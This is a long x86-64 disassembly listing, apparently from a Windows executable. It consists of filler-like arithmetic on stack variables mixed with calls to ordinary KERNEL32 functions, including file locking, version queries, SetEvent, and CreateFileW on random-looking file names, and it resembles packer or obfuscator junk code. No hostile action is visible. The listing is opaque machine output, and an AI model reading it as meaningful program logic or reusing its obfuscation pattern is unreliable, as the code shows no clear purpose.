mov rcx, qword [rsp + 0x135a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13050]
mov byte [rcx], al
movsx eax, word [rsp + 0x1e24]
mov rcx, qword [rsp + 0x13098]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bc8], ax
movzx eax, word [rsp + 0x1588]
mov rcx, qword [rsp + 0x13998]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x260c], ax
movzx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0x13950]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [0x140369ce8]
mov byte [rcx], al
mov eax, dword [0x140369c70]
mov rcx, qword [rsp + 0x13818]
mov qword [rsp + 0x139a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x139a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
mov eax, dword [rsp + 0x940c]
mov dword [rsp + 0x9c28], eax
mov dword [rsp + 0x20], 0x15b4
mov r9d, 0x12b
mov r8d, 0x29c4
mov edx, 0x2bcb
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9c18], eax
movzx eax, byte [rsp + 0x74f]
movzx ecx, byte [rsp + 0x740]
or eax, ecx
mov byte [rsp + 0x744], al
lea rax, [0x140362458]
mov qword [rsp + 0x139b0], rax
mov eax, dword [rsp + 0x602c]
mov ecx, dword [rsp + 0x9ae4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x86dc], eax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c2c], eax
mov rax, qword [rsp + 0x13490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b54]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13518]
mov dword [rcx], eax
lea rax, [0x140369c28]
mov qword [rsp + 0x139b8], rax
mov rax, qword [rsp + 0x13530]
mov ecx, dword [rsp + 0x9bac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x337]
add eax, ecx
mov rcx, qword [0x140369d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bd8]
mov word [rsp + 0x2c14], ax
mov rax, qword [rsp + 0x13920]
mov rcx, qword [rsp + 0x137e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b6c], eax
mov dword [rsp + 0x20], 0x1630
mov r9d, 0x3503
mov r8d, 0xbe4
mov edx, 0x1255
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9ad0], eax
mov rax, qword [rsp + 0x139a0]
mov rcx, qword [rsp + 0x13088]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
lea rax, [0x14035259e]
mov qword [rsp + 0x139c0], rax
mov rax, qword [rsp + 0x13630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13310]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13740]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1b8]
mov rcx, qword [0x140369be0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x13b], al
lea rcx, [rsp + 0x4b490]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9c30], eax
movzx eax, word [rsp + 0x2bcc]
mov rcx, qword [rsp + 0x13610]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13360]
mov word [rcx], ax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [rsp + 0x12f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
lea rax, [0x140369d50]
mov qword [0x140369d60], rax
mov rax, qword [rsp + 0x131c0]
mov eax, dword [rax]
mov dword [rsp + 0x9c34], eax
mov rax, qword [rsp + 0x131d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ac4]
shl eax, cl
mov rcx, qword [rsp + 0x12f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9b84]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x86e8], eax
movzx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bb8], ax
movzx eax, byte [rsp + 0x204]
movzx ecx, byte [rsp + 0x728]
and eax, ecx
mov rcx, qword [rsp + 0x13650]
mov byte [rcx], al
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9bf0], eax
mov eax, dword [rsp + 0x9a24]
mov dword [rsp + 0x9c38], eax
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x9a18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x137c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov dword [rsp + 0x9c3c], eax
mov rax, qword [rsp + 0x13690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5784]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369bc8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bfc]
imul eax, eax, 0xe03
mov rcx, qword [rsp + 0x13478]
mov word [rcx], ax
lea rax, [rsp + 0x630]
mov qword [rsp + 0x139c8], rax
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
add eax, ecx
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
movsx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0x13740]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x268c], ax
mov rax, qword [rsp + 0x13758]
mov ecx, dword [rsp + 0x75c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7770], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [rsp + 0x56e4]
mov ecx, dword [rsp + 0x997c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x602c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a8c], eax
lea rax, [rsp + 0x716]
mov qword [rsp + 0x139d0], rax
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bbc]
add eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
lea rax, [rsp + 0x7fc4]
mov qword [0x140369d68], rax
mov rax, qword [rsp + 0x13870]
mov rcx, qword [rsp + 0x132a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x81e0], eax
lea rax, [rsp + 0x997c]
mov qword [rsp + 0x139d8], rax
mov rax, qword [rsp + 0x130f8]
mov ecx, dword [rsp + 0x9c0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x97b4], eax
movzx eax, word [rsp + 0x2be8]
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0x13830]
movzx eax, byte [rax]
mov rcx, qword [0x140369c98]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x73f], al
mov eax, dword [rsp + 0x9a5c]
mov rcx, qword [rsp + 0x13838]
mov qword [rsp + 0x139e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x139e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6b08], eax
mov rax, qword [rsp + 0x13690]
mov ecx, dword [rsp + 0x602c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x59cc], eax
mov eax, dword [rsp + 0x5330]
mov rcx, qword [rsp + 0x138a0]
mov qword [rsp + 0x139e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x139e8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13608]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.FHKMY2hZZY9Fe8WO0zk9zei
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x139f0], rax
lea rax, [rsp + 0x9aa4]
mov qword [0x140369d70], rax
mov eax, dword [rsp + 0x6278]
mov dword [rsp + 0x9c40], eax
mov rax, qword [rsp + 0x13658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13230]
mov word [rcx], ax
lea rax, [rsp + 0x73b]
mov qword [rsp + 0x139f8], rax
movzx eax, byte [rsp + 0x742]
mov rcx, qword [rsp + 0x12fe0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
movzx eax, word [rsp + 0x2ba8]
movzx ecx, word [0x140362458]
add eax, ecx
mov word [rsp + 0x2bfc], ax
lea rax, [rsp + 0x9b1c]
mov qword [rsp + 0x13a00], rax
mov rax, qword [rsp + 0x134c0]
mov rcx, qword [rsp + 0x133d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x137a8]
mov dword [rcx], eax
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0x13a08], rax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [rsp + 0x73a]
sub eax, ecx
mov byte [0x140363f0e], al
mov rax, qword [rsp + 0x12f68]
mov ecx, dword [rsp + 0x8e20]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ba0], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x9bac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a2c], eax
mov rax, qword [rsp + 0x13938]
mov eax, dword [rax]
mov dword [rsp + 0x9c44], eax
mov rax, qword [rsp + 0x13850]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bb8], eax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x13a10], rax
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x135c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x137f8]
mov rcx, qword [rsp + 0x13540]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x602c], eax
lea rax, [rsp + 0x5c48]
mov qword [rsp + 0x13a18], rax
movsx eax, byte [rsp + 0x751]
mov rcx, qword [rsp + 0x13550]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140369bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
add eax, ecx
mov word [rsp + 0x2c10], ax
lea rax, [rsp + 0x741]
mov qword [rsp + 0x13a20], rax
movzx eax, word [rsp + 0x2c0c]
movzx ecx, word [rsp + 0x2324]
shl eax, cl
mov word [rsp + 0x2b90], ax
mov rax, qword [0x140369c00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13238]
mov qword [rsp + 0x13a28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13a28]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5284], eax
mov rax, qword [rsp + 0x13238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bd0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9354], eax
mov rax, qword [rsp + 0x13000]
mov rcx, qword [rsp + 0x132a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
lea rax, [0x140369c8c]
mov qword [rsp + 0x13a30], rax
mov rax, qword [rsp + 0x13530]
mov rcx, qword [rsp + 0x13768]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9acc], eax
movzx eax, byte [rsp + 0x733]
mov byte [rsp + 0x752], al
mov rcx, qword [rsp + 0x13910]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x13538]
movzx eax, word [rax]
mov rcx, qword [0x140369ba0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362494], ax
mov rax, qword [rsp + 0x13358]
mov ecx, dword [rsp + 0x7770]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
lea rdx, [rsp + 0x42aa8]
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c48], eax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a0c], eax
mov rax, qword [rsp + 0x131b8]
mov rcx, qword [0x140369c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13198]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c4c], eax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x132c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e74], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
mov rax, qword [rsp + 0x13948]
mov ecx, dword [rsp + 0x99d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ba0], eax
lea rax, [0x140363f0d]
mov qword [rsp + 0x13a38], rax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13a08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x138f8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1938]
mov rcx, qword [rsp + 0x12e98]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13770]
mov word [rcx], ax
lea rax, [0x140363efc]
mov qword [rsp + 0x13a40], rax
mov rax, qword [rsp + 0x13928]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140369b78], eax
mov rax, qword [rsp + 0x139d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b44]
shl eax, cl
mov dword [rsp + 0x78f4], eax
mov rax, qword [0x140369c38]
movzx eax, byte [rax]
mov byte [rsp + 0x753], al
movzx eax, word [rsp + 0x1878]
movzx ecx, word [rsp + 0x2bb0]
sar eax, cl
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov eax, dword [0x140369b9c]
mov ecx, dword [rsp + 0x9c44]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13690]
mov dword [rcx], eax
lea rax, [rsp + 0x9adc]
mov qword [rsp + 0x13a48], rax
mov rax, qword [rsp + 0x13300]
mov rcx, qword [rsp + 0x13860]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13440]
mov dword [rcx], eax
mov eax, dword [0x140369c68]
mov ecx, dword [rsp + 0x9c08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x734c], eax
movzx eax, word [rsp + 0x280c]
mov rcx, qword [rsp + 0x13888]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bb8], ax
lea rax, [rsp + 0x70d]
mov qword [0x140369d78], rax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0x13a50], rax
mov eax, dword [rsp + 0x9b38]
mov ecx, dword [rsp + 0x9b2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13860]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13860]
mov rcx, qword [rsp + 0x139b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a88], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov eax, dword [rsp + 0x9aac]
mov dword [rsp + 0x9c50], eax
mov eax, dword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x9990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cfc], eax
lea rax, [rsp + 0x491]
mov qword [rsp + 0x13a58], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b4c], eax
mov rax, qword [rsp + 0x13740]
movsx eax, word [rax]
mov rcx, qword [0x140369c10]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x130f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2b88]
movzx ecx, word [rsp + 0x2c08]
sub eax, ecx
mov rcx, qword [rsp + 0x13158]
mov word [rcx], ax
mov rax, qword [rsp + 0x13950]
movzx eax, byte [rax]
mov byte [0x140363f0f], al
mov rax, qword [rsp + 0x137c8]
mov eax, dword [rax]
mov dword [rsp + 0x9c54], eax
mov rax, qword [rsp + 0x13700]
mov eax, dword [rax]
mov ecx, dword [0x140369b98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13438]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2ca1
mov r8d, 0x161f
mov edx, 0x36
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9c58], eax
mov rax, qword [rsp + 0x13568]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f38]
and eax, ecx
mov word [rsp + 0x1dc8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0x132e8]
movzx eax, byte [rax]
movzx ecx, byte [0x140363ede]
add eax, ecx
mov byte [rsp + 0x750], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
mov rax, qword [rsp + 0x13880]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x139a0]
mov qword [rsp + 0x13a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13a60]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9a10], eax
lea rax, [rsp + 0x9ba8]
mov qword [rsp + 0x13a68], rax
mov rax, qword [rsp + 0x13318]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c20], eax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0x13a70], rax
mov rax, qword [rsp + 0x139d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
cdq
idiv ecx
mov rcx, qword [0x140369d00]
mov byte [rcx], al
lea rcx, [rsp + 0x4b370]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9bf0], eax
movzx eax, word [rsp + 0x2bb4]
movzx ecx, word [0x140362494]
shl eax, cl
mov word [rsp + 0x2ba4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.87H4AA2PW211lL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13a78], rax
mov rax, qword [rsp + 0x12ed8]
mov rcx, qword [rsp + 0x12fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13548]
mov eax, dword [rax]
mov dword [rsp + 0x9c5c], eax
movsx eax, byte [rsp + 0x66b]
mov rcx, qword [rsp + 0x13550]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12ef8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9be0], eax
lea rax, [rsp + 0x12cc]
mov qword [rsp + 0x13a80], rax
movzx eax, word [rsp + 0x2bbc]
mov rcx, qword [rsp + 0x138a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ab8], ax
lea rax, [0x140363efe]
mov qword [rsp + 0x13a88], rax
mov rax, qword [rsp + 0x130a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x645c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x131c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bc0]
add ecx, eax
mov eax, ecx
mov dword [0x140369b9c], eax
mov rax, qword [0x140369cc8]
mov ecx, dword [rsp + 0x9a54]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x134e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9bcc]
mov ecx, dword [rsp + 0x9c0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ef4], eax
mov rax, qword [0x140369d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13938]
mov dword [rcx], eax
lea rax, [rsp + 0x729]
mov qword [rsp + 0x13a90], rax
mov rax, qword [rsp + 0x13898]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a94]
add eax, ecx
mov word [rsp + 0x1ab8], ax
mov rax, qword [rsp + 0x13190]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b78], eax
lea rax, [rsp + 0x69c8]
mov qword [rsp + 0x13a98], rax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [0x140369bc8]
mov ecx, dword [rsp + 0x734c]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140362498], eax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ae0], eax
mov rax, qword [rsp + 0x13848]
movzx eax, word [rax]
mov word [rsp + 0x2c1c], ax
movzx eax, byte [rsp + 0x2b0]
movzx ecx, byte [rsp + 0x72a]
sar eax, cl
mov byte [rsp + 0x72f], al
mov rax, qword [0x140369cf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13658]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f60]
movzx eax, byte [rax]
mov byte [rsp + 0x754], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.3kTAzS2S297x0Z9qmL3s_sYO0qRF6q
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13aa0], rax
mov rax, qword [rsp + 0x130b0]
mov rcx, qword [rsp + 0x13608]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5418], eax
lea rdx, [rsp + 0x42ca0]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x12fc8]
mov eax, dword [rax]
mov ecx, dword [0x14036246c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63d4], eax
movzx eax, byte [rsp + 0x2e7]
movzx ecx, byte [rsp + 0x741]
and eax, ecx
mov rcx, qword [rsp + 0x13950]
mov byte [rcx], al
mov rax, qword [rsp + 0x136e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
sub eax, ecx
mov word [rsp + 0x26d0], ax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x9a34]
add ecx, eax
mov eax, ecx
mov dword [0x140369b78], eax
lea rax, [rsp + 0x526c]
mov qword [rsp + 0x13aa8], rax
mov rax, qword [rsp + 0x13938]
mov ecx, dword [rsp + 0x8ca0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13108]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c60], eax
lea rax, [rsp + 0x9b6c]
mov qword [rsp + 0x13ab0], rax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f18]
sub eax, ecx
mov rcx, qword [rsp + 0x13538]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x755], al
mov eax, dword [rsp + 0x63d4]
mov ecx, dword [rsp + 0x9c20]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13318]
mov ecx, dword [rsp + 0x6a84]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13908]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [0x140369c64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a60], eax
lea rax, [rsp + 0x9b20]
mov qword [0x140369d80], rax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b98]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x870c], eax
movzx eax, word [rsp + 0x268c]
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13188]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
movzx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x13410]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x280c], ax
lea rax, [rsp + 0x337]
mov qword [rsp + 0x13ab8], rax
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [rsp + 0x9c04]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a28], eax
mov eax, dword [rsp + 0x9678]
mov dword [rsp + 0x9c64], eax
mov rax, qword [rsp + 0x13400]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x750]
add eax, ecx
mov rcx, qword [rsp + 0x139c8]
mov byte [rcx], al
lea rax, [rsp + 0x2b88]
mov qword [0x140369d88], rax
mov dword [rsp + 0x20], 0x1630
mov r9d, 0x3503
mov r8d, 0xbe4
mov edx, 0x1255
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a0c], eax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov dword [rcx], eax
lea rax, [0x140362480]
mov qword [rsp + 0x13ac0], rax
mov rax, qword [rsp + 0x134e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
lea rax, [rsp + 0x9b54]
mov qword [rsp + 0x13ac8], rax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1588]
and eax, ecx
mov word [rsp + 0x2b9c], ax
movzx eax, byte [rsp + 0x741]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x147], al
lea rdx, [rsp + 0x42d48]
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b5c], eax
mov rax, qword [rsp + 0x130c8]
mov ecx, dword [0x14036245c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136c0]
mov rcx, qword [rsp + 0x13890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13190]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12f30]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140369c60], ax
movzx eax, byte [rsp + 0xe3]
mov byte [rsp + 0x756], al
movzx eax, byte [rsp + 0x72e]
movzx ecx, byte [rsp + 0x739]
add eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
or eax, ecx
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x132d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x130f8]
mov qword [rsp + 0x13ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ad0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x135f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a50]
mov ecx, dword [rsp + 0x97b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a48]
mov dword [rcx], eax
